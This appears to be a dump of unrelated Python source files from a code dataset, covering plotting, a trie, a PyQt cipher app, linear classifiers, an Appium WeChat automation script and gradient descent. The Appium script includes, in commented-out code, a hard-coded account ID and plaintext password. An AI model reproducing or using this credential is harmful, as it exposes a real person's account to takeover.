'rb') as pfile:\n aniso_rew_data = pickle.load(pfile)\n\n\ndef dict_to_array(int_dict, list_length): \n out_array = np.zeros(list_length)\n for i in range(list_length):\n out_array[i] = int_dict[i]\n return out_array\n\n\ndef process_counts(data, max_ecount):\n\n org_array = np.zeros((len(data), max_ecount+2))\n\n for gid,ecounts in data.iteritems():\n org_array[int(gid),:] += dict_to_array(ecounts, max_ecount+2)\n\n row_sums = org_array.sum(axis=1).astype('float')\n newm = org_array / row_sums[:, np.newaxis]\n \n ecounts_mu = np.mean(newm, axis = 0)\n ecounts_sem = stats.sem(newm, axis = 0, ddof = 0)\n \n return ecounts_mu, ecounts_sem\n\n\n \nmax_count = 22\n\n\naniso_means, aniso_SEM = process_counts(aniso_data, max_count)\naniso_rew_means, aniso_rew_SEM = process_counts(aniso_rew_data, max_count)\n\n\nmatplotlib.rc('text', usetex=True)\npl.rcParams['text.latex.preamble'] = [\n r'\\usepackage{tgheros}', \n r'\\usepackage[eulergreek]{sansmath}', \n r'\\sansmath',\n r'\\usepackage{siunitx}', \n r'\\sisetup{detect-all}'\n] \n\n\nfig = pl.figure(facecolor=\"white\")\nfig.set_size_inches(6.46/2.,2.80*0.935)\n\nax = fig.add_subplot(111)\nax.tick_params(axis='both', which='major', labelsize=14)\n\n\nx = range(len(aniso_means))\nax.errorbar(x, aniso_rew_means, yerr=aniso_rew_SEM,\n color=color['rew'], label=\"rewired\")\nax.errorbar(x, aniso_means, yerr=aniso_SEM,\n color=color['aniso'], label=\"anisotropic\")\n\n\nax.set_xlim(0,max_count+0.5)\nax.set_yscale('log')\n\nax.set_xlabel('connections in clusters of 8 Cells', labelpad=18, size=15)\nax.xaxis.set_label_coords(0.4, -0.2105)\nax.set_ylabel('frequency', size=15)\n\nhandles, labels = ax.get_legend_handles_labels()\nhandles = [h[0] for h in handles]\npl.legend(handles[::-1], labels[::-1], loc='lower left',\n frameon=False, fontsize=15)\n\nax.spines['right'].set_color('none')\nax.spines['top'].set_color('none')\nax.xaxis.set_ticks_position('bottom')\nax.yaxis.set_ticks_position('left')\n\n\nimport os\nfname = os.path.splitext(os.path.basename(__file__))[0]\n\npl.savefig('{:s}.pdf'.format(fname), dpi=600, bbox_inches='tight')\n","sub_path":"si/figSI_nclst_8aniso.py","file_name":"figSI_nclst_8aniso.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"174530700","text":"from typing import TypeVar, Union, Generic\nSequenceType = TypeVar('SequenceType')\n\n\nclass Divisible(Generic[SequenceType]):\n def __truediv__(self: SequenceType, value) -> SequenceType:\n return self // int(value)\n\n def __floordiv__(self: SequenceType, value):\n return tuple(\n self.__class__(\n self[int(i/value*len(self)):int((i+1)/value*len(self))]\n ) for i in range(value)\n )\n\n def __mul__(self: SequenceType, value) -> Union['Divisible[SequenceType]', SequenceType]:\n if isinstance(value, int):\n return self.__class__(super().__mul__(value))\n\n elif isinstance(value, float):\n div, mod = divmod(value, 1)\n return self.__class__(self*int(div) + self[:int(len(self)*mod)])\n\n\ndivisible_subtypes = {}\n\n\ndef divisible(sequence: SequenceType) -> Union[SequenceType, Divisible]:\n try:\n subtype = divisible_subtypes[sequence.__class__]\n\n except KeyError:\n subtype = type(\n f'Divisible{sequence.__class__.__name__.title()}',\n (Divisible, sequence.__class__),\n {}\n )\n\n divisible_subtypes[sequence.__class__] = subtype\n\n return subtype(sequence)\n","sub_path":"divisible_sequence.py","file_name":"divisible_sequence.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"551749469","text":"'''\n211. Add and Search Word - Data structure design \nDifficulty: Medium\nDesign a data structure that supports the following two operations:\n\nvoid addWord(word)\nbool search(word)\nsearch(word) can search a literal word or a regular expression string containing only letters a-z or .. A . means it can represent any one letter.\n\nFor example:\n\naddWord(\"bad\")\naddWord(\"dad\")\naddWord(\"mad\")\nsearch(\"pad\") -> false\nsearch(\"bad\") -> true\nsearch(\".ad\") -> true\nsearch(\"b..\") -> true\nNote:\nYou may assume that all words are consist of lowercase letters a-z.\n'''\nclass TreeNode(object):\n def __init__(self,val):\n self.val = val\n self.isword = False\n self.children = {}\n\n\nclass WordDictionary(object):\n def __init__(self):\n \"\"\"\n initialize your data structure here.\n \"\"\"\n self.root = TreeNode(-1)\n\n def addWord(self, word):#添加单词就是建立前缀树的过程\n \"\"\"\n Adds a word into the data structure.\n :type word: str\n :rtype: void\n \"\"\"\n cur_node = self.root\n for i,c in enumerate(word):\n if c not in cur_node.children:\n new_node = TreeNode(c)\n cur_node.children[c] = new_node\n cur_node = cur_node.children[c]\n if i==len(word)-1:\n cur_node.isword = True\n \n def search(self, word):\n \"\"\"\n Returns if the word is in the data structure. A word could\n contain the dot character '.' to represent any one letter.\n :type word: str\n :rtype: bool\n \"\"\"\n return self.doSearch(0,self.root,word)#通过添加一个函数,修改入口参数\n\n def doSearch(self,index,root,word):#每次调用只匹配当前一个字符\n if index==len(word) and root.isword:\n return True\n if index>=len(word):#有可能单词结束但在前缀树中单词的最后一个字符不是单词节点,这时候index会继续增加\n return False\n cur_c,cur_root = word[index],root\n if cur_c==\".\":#如果当前是“.”,当前就跟所有的孩子匹配上\n for _,nxt_root in cur_root.children.items():\n if self.doSearch(index+1,nxt_root,word):#所有孩子中只要有一个匹配上,就说明能匹配\n return True\n return False\n else:#不是\".\",按正常匹配流程:找到孩子继续匹配,没找到就匹配失败\n if cur_c in cur_root.children:\n return self.doSearch(index+1,cur_root.children[cur_c],word)\n return False\n \n \n# Your WordDictionary object will be instantiated and called as such:\n# wordDictionary = WordDictionary()\n# wordDictionary.addWord(\"word\")\n# wordDictionary.search(\"pattern\")\n","sub_path":"211. Add and Search Word - Data structure design.py","file_name":"211. Add and Search Word - Data structure design.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"312256305","text":"import sys, os\nfrom PyQt5 import QtWidgets, QtCore\nfrom PyQt5.QtWidgets import QTableWidgetItem\nimport design # Это наш конвертированный файл дизайна\nfrom PyQt5 import QtMultimedia\n\n\n# Главный класс приложения (наследуемся от design)\nclass MainApp(QtWidgets.QMainWindow, design.Ui_MainWindow):\n def __init__(self):\n # Это здесь нужно для доступа к переменным, методам\n # и т.д. в файле design.py\n super().__init__()\n self.setupUi(self) # Это нужно для инициализации нашего дизайна\n self.pushButton.clicked.connect(self.buttonClicked) # соединяем кнопку и функцию buttonClicked\n self.tableWidget.setHorizontalHeaderLabels([\"1\", \"2\", \"3\", \"4\", \"5\"]) # загаловки строчек таблицы\n self.tableWidget.setVerticalHeaderLabels([\"1\", \"2\", \"3\", \"4\", \"5\"]) # заголовки столбцов таблицы\n self.tableWidget.setColumnCount(5) # кол-во столбцов\n self.tableWidget.setRowCount(5) # кол-во строчек\n # abc - алфавит\n self.abc = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'k', 'l', 'm', 'n', 'o', 'p',\n 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\n self.update_table(self.abc) # заполняем таблицу нашим алфавитом\n\n # функция заполняет таблицу контентом\n def update_table(self, content):\n table = self.tableWidget\n table.setColumnCount(5)\n table.setRowCount(5)\n # подгоняем размер ячеек под содержимое\n table.resizeColumnsToContents()\n table.resizeRowsToContents()\n # заполняем ячейки\n # i - номер строки (с 0)\n # j - номер столбца (с 0)\n # QTableWidgetItem - преобразует строку в ячейку таблицы\n # 5*i+j - получаем порядок элемента в массиве по его координатам\n for i in range(5):\n for j in range(5):\n table.setItem(i, j, QTableWidgetItem(content[5 * i + j]))\n\n # функция убирает повторяющиеся буквы в строке\n def remove_replays(self, text):\n result = []\n for c in text:\n if c not in result:\n result.append(c)\n # result - список, поэтому его нужно перевести в строку\n # \"\".join() - переводит список в строку, где \"\" - символ, который заполняется между элементами списка\n result = \"\".join(result)\n return result\n\n # функция находит символ \"c\" в списке \"abc\", и возвращает его координаты i и j\n def find_char(self, abc, c):\n # x = 5*i + j - формула нахождения номера символа в строке, зная его координаты\n # j = x - 5*i - как найти j, зная i и x\n x = abc.index(c) # находим порядковый номер символа в строке\n i = x // 5\n j = x - 5 * i\n return [i, j] # возвращаем массив из координат и порядкового номера\n\n # функция, которая вызывается при нажатии на кнопку\n def buttonClicked(self):\n # self.result - наше поле, куда мы выводим результат, а метод clear() его отчищает\n self.result.clear()\n # получаем с текстовых полей ключ и текст\n key = self.lineEdit.text()\n text = self.lineEdit_2.text()\n # если текст пустой, по пишем ошибку, и выходим из функции\n if text == \"\":\n QtWidgets.QMessageBox.critical(None, \"Error\", \"Text is empty!\")\n return\n # делаем все заглавные буквы в тексте и ключе строчными\n text, key = text.lower(), key.lower()\n # заменяем все j на i\n text, key = text.replace(\"j\", \"i\"), key.replace(\"j\", \"i\")\n # удаляем повторные символы в ключе\n key = self.remove_replays(key)\n # формруем новый алфавит\n new_abc = self.abc\n # добабвляем в начало наш ключ (он в виде строки, мы его преобразуем в список с помощью split)\n new_abc = key.split() + new_abc\n # удаляем повторные символы, т.к. функция принимает текст, то мы преобразуем список new_abc в текст\n new_abc = self.remove_replays(\"\".join(new_abc))\n # функция remove_replays вернула нам строку, нам её нужно преобразовать обратно в текст\n new_abc.split()\n # заносим наш новый алфавит в табличку\n self.update_table(new_abc)\n # result - новый пустой список, в который мы потом будет заносить результат кодирования\n result = []\n # циклом for проходимся по всем символам в тексте, \"c\" - символ, от англ. слова char\n for c in text:\n if c == \" \": # Если наш символ - пробел\n self.result.append(\"\\n\") # В наше поле с результатом делаем отступ (новую строку)\n result.append(\" \") # Добавляем пробел в список с результатом\n pause = [i for i in range(100000000)]\n continue # переходим ко следующей итерации (к следующему символу)\n # находим координаты символа, el - массив\n # el[0] - i\n # el[1] - j\n # el[2] - x\n # x - порядок символа в алфавите\n el = self.find_char(new_abc, c)\n # если номер строки - последний, то делаем её = -1, чтобы потом добавить 1 и получить 0\n if el[0] == 4:\n el[0] = -1\n # находим по таблице новый символ, который лежит на следующей строке того же столбца\n new_c = self.tableWidget.item(el[0] + 1, el[1]).text()\n # добавляем в список result новый символ\n result.append(new_c)\n # добавляем в текстовое поле с результатом такую вещь: [c] -> [new_c]\n self.result.append(\"[{}] -> [{}]\".format(c, new_c))\n # Если галочка в чекбоксе music поставлена, то\n if self.music.isChecked():\n # цикл. пикаем столько, сколько строк\n for i in range(self.find_char(new_abc, new_c)[0] + 1):\n # --no-show-progress\n os.system(\"play drip.mp3\")\n pause = [i for i in range(20000000)]\n pause = [i for i in range(20000000)]\n # цикл. пикаем столько, сколько столбцов\n for i in range(self.find_char(new_abc, new_c)[1] + 1):\n os.system(\"play drip.mp3\")\n pause = [i for i in range(10000000)]\n pause = [i for i in range(50000000)]\n # добавляем в текстовое поле наш результат\n self.result.append(\"\".join(result))\n\n\ndef main():\n app = QtWidgets.QApplication(sys.argv) # Новый экземпляр QApplication\n window = MainApp() # Создаём объект класса MainApp\n window.show() # Показываем окно\n app.exec_() # и запускаем приложение\n\n\nif __name__ == '__main__': # Если мы запускаем файл напрямую, а не импортируем\n main() # то запускаем функцию main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"612581378","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct 4 10:11:25 2018\r\n\r\n@author: 小周\r\n\r\n\"\"\"\r\n\r\n'''\r\n================================================\r\nImplementing an adaptive linear neuron in Python\r\nGradient Descent(梯度下降)\r\n================================================\r\n'''\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport iris\r\n\r\n\r\nclass AdaptLinearGD(object):\r\n '''Adaptive Linear Neuron classifier.\r\n \r\n Parameters\r\n ------------\r\n eta: float\r\n Learning rate (between 0.0 and 1.0)\r\n n_iter: int\r\n Passes over the training dataset\r\n \r\n Attributes\r\n ------------\r\n w_: 1d-array\r\n Weights after fitting\r\n cost_: list\r\n Sum-of-squares cost function value in each epoch.\r\n \r\n '''\r\n \r\n def __init__(self, eta=0.1, n_iter=50):\r\n self.eta = eta\r\n self.n_iter = n_iter\r\n \r\n def fit(self, X, y):\r\n '''Fitting the data.\r\n \r\n Parameters\r\n -------------\r\n X : {array-like}, shape = [n_samples, n_features]\r\n Training vectors, where n_samples is the number of samples and\r\n n_features is the number of features\r\n y : array-like, shape = [n_samples]\r\n Traget values\r\n \r\n Returns\r\n ----------\r\n self : object\r\n \r\n '''\r\n self.w_ = np.zeros(1 + X.shape[1]) # Add w_0\r\n self.cost_ = []\r\n \r\n for i in range(self.n_iter):\r\n #net_input = self.net_input(X)\r\n # 请注意’activation‘方法在代码没有作用,它只是个identity函数\r\n # 我们可以直接写成’output = self.net_input(X)‘\r\n # activation的目的是使其更具有概念性,例如:在Logistic回归中,\r\n # 我们应该把它转化为sigmod函数来实现一个Logistic回归分类器\r\n output = self.activation(X)\r\n errors = (y - output)\r\n self.w_[1:] +=self.eta * X.T.dot(errors)\r\n self.w_[0] += self.eta * errors.sum()\r\n cost = (errors ** 2).sum() / 2.0\r\n self.cost_.append(cost)\r\n return self\r\n \r\n def net_input(self, X):\r\n '''Ccalculate net input'''\r\n return np.dot(X, self.w_[1:]) + self.w_[0]\r\n \r\n def activation(self, X):\r\n '''Compute linear activation'''\r\n return self.net_input(X)\r\n \r\n def predict(self, X):\r\n '''Return class label after unit step'''\r\n return np.where(self.activation(X) >= 0.0, 1, -1)\r\n\r\n# 画errors曲线\r\ndef plot_errors():\r\n figure, ax = plt.subplots(nrows=1, ncols=2, figsize=(8, 4))\r\n X, y = iris.load_iris()\r\n ada1 = AdaptLinearGD(n_iter=10, eta=0.01).fit(X, y)\r\n print(ada1.w_)\r\n \r\n ax[0].plot(range(1, len(ada1.cost_) + 1), np.log10(ada1.cost_), marker='o')\r\n ax[0].set_xlabel('Epoches')\r\n ax[0].set_ylabel('log(Sum-squared-error)')\r\n ax[0].set_title('Adapt Linear Learning rate 0.01')\r\n \r\n ada2 = AdaptLinearGD(n_iter = 10, eta=0.0001,).fit(X, y)\r\n ax[1].plot(range(1, len(ada2.cost_) + 1), ada2.cost_, marker='o')\r\n ax[0].set_xlabel('Epoches')\r\n ax[0].set_ylabel('log(Sum-squared-error)')\r\n ax[0].set_title('Adapt Linear Learning rate 0.0001')\r\n plt.tight_layout()\r\n plt.show()\r\n\r\n\r\ndef AdaptLinearGDTest():\r\n '''AdaptLinearGD类的测试函数'''\r\n X, y = iris.load_iris()\r\n X_std = np.copy(X)\r\n X_std[:, 0] = (X[:, 0] - X[:, 0].mean()) / X[:, 0].std()\r\n X_std[:, 1] = (X[:, 1] - X[:, 1].mean()) / X[:, 1].std()\r\n \r\n ada = AdaptLinearGD(n_iter=10, eta=0.01)\r\n ada.fit(X_std, y)\r\n \r\n # 画出分类的区域\r\n iris.plot_decision_region(X_std, y, classifier=ada)\r\n plt.title('Adapt Linear - Gradient Descent')\r\n plt.xlabel('sepal length [standardized]')\r\n plt.ylabel('petal length [standardized]')\r\n plt.legend(loc='upper left')\r\n plt.tight_layout()\r\n plt.show()\r\n \r\n # 画出errors曲线\r\n plt.plot(range(1, len(ada.cost_) + 1), ada.cost_, marker='o')\r\n plt.xlabel('Epochs')\r\n plt.ylabel('Sum-squared-error')\r\n plt.tight_layout()\r\n plt.show()\r\n \r\n#===========================================================================\r\n \r\n# 采用Logistic回归\r\nclass LogisticRegressionGD(AdaptLinearGD):\r\n def __init__(self, eta=0.01, n_iter=50):\r\n AdaptLinearGD.__init__(self, eta, n_iter)\r\n def fit(self, X, y):\r\n # 和基类的大体一致,不过这里用的是Logistic ’cost‘\r\n self.w_ = np.zeros(1 + X.shape[1])\r\n self.cost_ = []\r\n \r\n for i in range(self.n_iter):\r\n #net_input = self.net_input(X)\r\n output = self.activation(X)\r\n errors = (y - output)\r\n self.w_[1:] += self.eta * X.T.dot(errors)\r\n self.w_[0] += self.eta * errors.sum()\r\n \r\n # 注意在这里我们计算的是Logistic的’cost‘\r\n # 而不是sum of squared errors cost\r\n cost = -y.dot(np.log(output)) - ((1 - y).dot(np.log(1 - output)))\r\n self.cost_.append(cost)\r\n return self\r\n def predict(self, X):\r\n # We use the more common convention for logistic\r\n # regression returning class label 0 and 1\r\n # instead of -1 and 1. Also, the threshold(阈值) then \r\n # change from 0.0 to 0.5\r\n return np.where(self.activation(X) >= 0.5, 1, 0)\r\n \r\n # The Content of 'activation' changed\r\n # from linear (AdaptLinearGD) to sigmod.\r\n # Note that this method is now return the \r\n # probability of the positive class\r\n # also \"predict_prob\" in scikit-learn\r\n def activation(self, X):\r\n '''Compute sigmod activation.'''\r\n z = self.net_input(X)\r\n sigmod = 1.0 / (1.0 + np.exp(-z))\r\n return sigmod\r\n\r\ndef LogisticRegressionGDTest():\r\n '''AdaptLinearLogisticGD类的测试函数'''\r\n from sklearn import datasets\r\n iris = datasets.load_iris()\r\n X, y = iris.data[:100, [0, 2]], iris.target[:100]\r\n \r\n X_std = np.copy(X)\r\n X_std[:, 0] = (X[:, 0] - X[:, 0].mean()) / X[:, 0].std()\r\n X_std[:, 1] = (X[:, 1] - X[:, 1].mean()) / X[:, 1].std()\r\n '''X, y = iris.load_iris()\r\n X_std = np.copy(X)\r\n X_std[:, 0] = (X[:, 0] - X[:, 0].mean()) / X[:, 0].std()\r\n X_std[:, 1] = (X[:, 1] - X[:, 1].mean()) / X[:, 1].std()'''\r\n \r\n lr = LogisticRegressionGD(n_iter=25, eta=0.15)\r\n lr.fit(X_std, y)\r\n \r\n iris.plot_decision_region(X_std, y, classifier=lr)\r\n plt.title('Logistic Regression - Gradient Descent')\r\n plt.xlabel('sepal length [standardized]')\r\n plt.ylabel('sepal width [standardized]')\r\n plt.legend(loc='upper left')\r\n plt.tight_layout()\r\n \r\n plt.show()\r\n \r\n plt.plot(range(1, len(lr.cost_) + 1), lr.cost_, marker='o')\r\n plt.xlabel('Epochs')\r\n plt.ylabel('Logistic Cost')\r\n \r\n plt.tight_layout()\r\n plt.show()\r\n \r\n \r\nif __name__ == '__main__':\r\n \r\n #plot_errors()\r\n #AdaptLinearGDTest()\r\n LogisticRegressionGDTest()\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n","sub_path":"Python Machine Learning/Chapter02/AdaptLinearGD.py","file_name":"AdaptLinearGD.py","file_ext":"py","file_size_in_byte":7094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"138846707","text":"# -*- coding: utf-8 -*-\r\n\r\n# copyright 2017 Yi Wang\r\n# don't distribute without author's explicit authorization\r\n\r\n# MindBody API\r\n\r\nfrom suds.client import Client \r\nimport ClientRequest\r\n\r\nclass player(object):\r\n def __init__(self, name, pid, pin, phone = '5555555555'):\r\n self.name = name\r\n self.id = pid\r\n self.pin = pin\r\n self.phone = phone\r\n\r\n def get_pin(self):\r\n return self.pin\r\n \r\n def get_name(self):\r\n return self.name\r\n \r\n def get_phone(self):\r\n return self.phone\r\n \r\n def __str__(self):\r\n return(\"{} {} {}\".format(self.name, self.id, self.pin))\r\n \r\ndef read_clients():\r\n services = ClientRequest.ClientServiceMethods()\r\n \r\n #get all clients\r\n result = services.GetAllClients()\r\n \r\n client_dict = Client.dict(result)\r\n clients = client_dict['Clients'].Client\r\n player_names = set()\r\n players = dict()\r\n \r\n num_clients = len(clients)\r\n for i in range(num_clients) :\r\n client = clients[i]\r\n first_name = client.FirstName.lower()\r\n last_name = client.LastName.lower()\r\n id = client.UniqueID\r\n \r\n try :\r\n pin = str(id)[-4:]\r\n name = first_name + last_name\r\n if len(name) > 16:\r\n if len(last_name) > 16:\r\n name = last_name[0:15]\r\n else:\r\n temp = 16 - len(last_name)\r\n name = first_name[0:temp] + last_name\r\n \r\n if name in player_names:\r\n name += pin[-2:]\r\n \r\n player_names.add(name)\r\n except ValueError:\r\n pass\r\n finally:\r\n players[name] = player(name, id, pin) \r\n \r\n return players\r\n","sub_path":"badminton_queuing_system/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"423745184","text":"#appium 微信h5自动化示例\n\n# 环境前置准备\n# 手机与电脑USB连接,开启USB调试模式,通过adb devices可查看到此设备。\n# 电脑端、移动端安装chrome浏览器。(尽量保证移动端chrome版本低于电脑端)\n# App webview开启debug模式\n# 在电脑端Chrome浏览器地址栏输入chrome://inspect/#devices,进入调试模式:\n# 此时页面显示了手机型号、驱动名称、APP要调试的WebView名称\n# 点击inspect,若成功加载与APP端相同界面的调试页面,则配置成功\n# 若获取不到WebView或者调试页面预览框显示空白,则需要进行VPN破解–安装翻墙软件(由于默认的DevTools使用的是appspot服务器,这在国内是需要翻越GWF)\n# 尝试解决方法:\n#\n# 1、在windows host文件中增加:\n#\n# 61.91.161.217 chrome-devtools-frontend.appspot.com\n# 61.91.161.217 chrometophone.appspot.com\n# 2、使用翻墙软件,如Lanter\n#\n\n\nfrom appium import webdriver\nimport time\nimport os\n\n\n# 微信APK下载地址:https://dldir1.qq.com/weixin/android/weixin672android1340.apk\napk_path=os.getcwd()+'/weixin672android1340.apk'\nprint(apk_path)\n\n\ndesired_caps={}\n# 命令: aapt dump badging weixin672android1340.apk 查看包名称和启动页\ndesired_caps = {\n 'platformName': 'Android',\n 'platformVersion': '7.0',\n 'deviceName': 'Redmi Note 4X',\n 'appPackage': 'com.tencent.mm',\n 'appActivity': 'com.tencent.mm.ui.LauncherUI',\n 'noReset': True,\n 'fullReset':False,\n 'unicodeKeyboard': True,\n 'autoGrantPermissions': True,\n 'sessionOverride':True,\n 'noSign':True,\n 'resetKeyboard': True,\n 'app':apk_path,\n 'chromeOptions': {'androidProcess': 'com.tencent.mm:appbrand0'} #驱动H5自动化关键之一\n}\n\n\n# desired_caps['browserName'] = 'Chrome'\n# 可能出现问题: ChromeDriver版本不匹配导致chrome session链接失败\n# ChromeDriver版本不匹配,请更新appium的webdriver到对应的版本\n# https://blog.csdn.net/itest_2016/article/details/72457213 爱测未来移动-移动端H5调试与自动化\n\ndriver = webdriver.Remote('http://127.0.0.1:4723/wd/hub', desired_caps)\n# 所有弹窗默认允许\ndriver.switch_to.alert.accept()\n\n\n#\n# time.sleep(10)\n# driver.find_element('name','发现').click()\n# time.sleep(10)\n# driver.find_element('name',\"看一看\").click()\n# time.sleep(10)\n\nprint('========================================')\n#获取当前上下文\nprint(driver.contexts)\n#输出结果['NATIVE_APP', 'WEBVIEW_com.tencent.mm:interview']\nprint(driver.page_source)\n#\ndriver.implicitly_wait(10)\n\n# # 首次安装微信,密码登录\n# driver.find_element_by_id('com.tencent.mm:id/dbe').click()\n# driver.find_element_by_id('com.tencent.mm:id/c5p').click()\n# # driver.find_element_by_id('com.tencent.mm:id/jd').send_keys('1023211798')\n# driver.find_element_by_xpath('//*[@text=\"请填写微信号/QQ号/邮箱\"]').send_keys('1023211798')\n# driver.find_element_by_xpath('//*[@text=\"请填写密码\"]').send_keys('T%nt0wn2014')\n# driver.find_element_by_id('com.tencent.mm:id/c5q').click()\n\n\nx = driver.get_window_size()['width']\ny = driver.get_window_size()['height']\n\n#获得机器屏幕大小x,y\ndef getSize():\n x = driver.get_window_size()['width']\n y = driver.get_window_size()['height']\n print(f'x= {x}') # x= 1080\n print(f'y= {y}') # y= 1920\n return (x, y)\n\n#屏幕向上滑动\ndef swipeUp(t=500):\n l = getSize()\n x1 = int(l[0] * 0.5) #x坐标\n y1 = int(l[1] * 0.75) #起始y坐标\n y2 = int(l[1] * 0.25) #终点y坐标\n driver.swipe(x1, y1, x1, y2,t)\n\n\n# Swipe(int start x,int start y,int end x,int y,duration)\ndef swipeDown(driver, t=500, n=1):\n '''向下滑动屏幕'''\n l = driver.get_window_size()\n x1 = l['width'] * 0.5 # x坐标\n y1 = l['height'] * 0.25 # 起始y坐标\n y2 = l['height'] * 0.75 # 终点y坐标\n for i in range(n):\n driver.swipe(x1, y1, x1, y2,t)\n\n#屏幕向左滑动\ndef swipLeft(t):\n l=getSize()\n x1=int(l[0]*0.75)\n y1=int(l[1]*0.5)\n x2=int(l[0]*0.05)\n driver.swipe(x1,y1,x2,y1,t)\n#屏幕向右滑动\ndef swipRight(t):\n l=getSize()\n x1=int(l[0]*0.05)\n y1=int(l[1]*0.5)\n x2=int(l[0]*0.75)\n driver.swipe(x1,y1,x2,y1,t)\n\n\n# swipeDown(driver)\ndriver.implicitly_wait(20)\ntime.sleep(5)\n# 点击\"发现\",查找小程序入口\ndriver.find_element_by_xpath('//*[@text=\"发现\"]').click()\ndriver.implicitly_wait(10)\ntime.sleep(2)\n\nswipeUp()\ndriver.implicitly_wait(100)\ntime.sleep(2)\n\ndriver.find_element_by_xpath('//*[@text=\"小程序\"]').click()\n# driver.find_element_by_xpath('//*[@resource-id=\"com.tencent.mm:id/ie\"]/android.support.v7.widget.LinearLayoutCompat[1]').click()\n# driver.find_element_by_id('com.tencent.mm:id/jd').send_keys('美团')\n\n# driver.implicitly_wait(40)\ntime.sleep(2)\n# 设定\"最近使用小程序\"中第一个小程序位置的系数\nax = 250/x\nby = 920/y\n# 屏幕坐标乘以系数即为用户要点击位置的具体坐标\ndriver.tap([(ax*x, by*y),])\n\n# driver.find_element_by_name('我').click()\n# driver.find_element_by_name('相册').click()\n# driver.find_element_by_xpath(\"//*[contains(@text,'正在繁星直播')]\").click()\n# print(driver.current_context)\n# driver.find_element_by_xpath(\"//*[contains(@text,'正在繁星直播')]\").click()\n# print(driver.current_context)\n# driver.switch_to.context('WEBVIEW_com.tencent.mm:interview')\n# print(driver.current_context)\n# print(driver.page_source)\n# driver.find_element_by_xpath('//*[@id=\"btnRecommend\"]/div[1]').click()\n# driver.switch_to_default_content()\ntime.sleep(5)\n\n# context_name='com.tencent.mm:appbrand0'\ncontext_name='com.tencent.mm:interview'\ncurrent = driver.current_context\nprint(current)\nprint(driver.contexts)\n\n\ndriver.switch_to.context(context_name)\ncurrent = driver.current_context\nprint(current)\n\n\ndriver.quit()\n\n\n#\n# #切换为 webview,名称就是从上面的语句得来的\n# driver.switch_to.context('WEBVIEW_com.tencent.mm:interview')\n#\n# #获取h3标签的文本并打印出来\n# titles = driver.find_elements('tag name','h3')\n# print(titles[2].text)\n#\n# # desired_caps['app'] = PATH('../../../apps/selendroid-test-app.apk')\n\n","sub_path":"src/appium/helloMiniProgram.py","file_name":"helloMiniProgram.py","file_ext":"py","file_size_in_byte":6160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"326594245","text":"\n\"\"\"\nfind the largest number smaller than the given `N`\nusing the same digits that `N` is made up of.\n\"\"\"\n\nN=1342\n\ndef nextSmallest(N):\n lN=list(str(N))\n for i in xrange(len(lN)-1,0,-1):\n if lN[i]= self.b[i])\n else:\n flag = flag and (Ax[i] == self.b[i])\n return flag\n\nclass GradientDescent:\n def __init__(self, x, eta, max_itr, domain, lb=None, ub=None):\n self.x = x\n self.eta = eta\n self.opt = None\n self.itr = 1\n self.max_itr = max_itr # max iteration\n self.xlist = list()\n self.domain = domain\n self.lb = lb\n self.ub = ub\n def update_eta(self):\n pass\n def update_list(self, x):\n self.xlist.append(x)\n def update_parameter(self, x):\n self.update_eta()\n self.update_list(x)\n self.x = x\n self.itr += 1\n def projection(self, y):\n \"\"\"\n min x*x - 2*x*y\n s.t. [x, y] <- self.domain\n \"\"\"\n if self.domain.isinside(y):\n return y\n # if self.domain.cplexA == None:\n # self.domain.cplexstyle()\n # op = self.domain.op\n # A = self.domain.cplexA\n # b = self.domain.b\n qp = cplex.Cplex()\n qp.set_results_stream(results_file=None)\n qp.objective.set_sense(qp.objective.sense.minimize)\n qp.set_problem_type(qp.problem_type.QP)\n qp.variables.add(names=self.domain.var, lb=self.lb, ub=self.ub)\n qp.objective.set_quadratic_coefficients([(0, 0, 1.0), (1, 1, 1.0), (0, 1, -1.0)])\n # qp.linear_constraints.add(lin_expr=A, senses=op, rhs=b)\n qp.solve()\n x = qp.solution.get_values()\n return x\n def optimize(self):\n if not self.domain.isinside(self.x):\n self.x = self.projection(self.x)\n self.xlist.append(self.x)\n while self.itr < self.max_itr:\n g = df(self.x[0], self.x[1])\n y = self.x - self.eta * g\n x = self.projection(y)\n self.update_parameter(x)\n self.opt = self.x\n return self.opt","sub_path":"offline/GradientDescent.py","file_name":"GradientDescent.py","file_ext":"py","file_size_in_byte":3090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"232314396","text":"# -*- coding: utf-8 -*-\r\nfrom __future__ import print_function\r\n\r\ntry:\r\n # for Python2\r\n import Tkinter as tk\r\n import ttk #newer \"themed widgets\" that were added to Tk in 8.5.\r\nexcept:\r\n # for Python3\r\n import tkinter as tk\r\n from tkinter import ttk\r\n\r\n\r\ndef calculate(*args):\r\n try:\r\n value = float(feet.get())\r\n meters.set((0.3048 * value * 10000.0 + 0.5)/10000.0)\r\n except ValueError:\r\n pass\r\n\r\nroot = tk.Tk()\r\nroot.title(\"Feet to Meters\")\r\n\r\nmainframe = ttk.Frame(root, padding=\"3 3 12 12\")\r\nmainframe.grid(column=0, row=0, sticky=(tk.N, tk.W, tk.E, tk.S))\r\nroot.columnconfigure(0, weight=1)\r\nroot.rowconfigure(0, weight=1)\r\n\r\nfeet = tk.StringVar()\r\nmeters = tk.StringVar()\r\n\r\nfeet_entry = 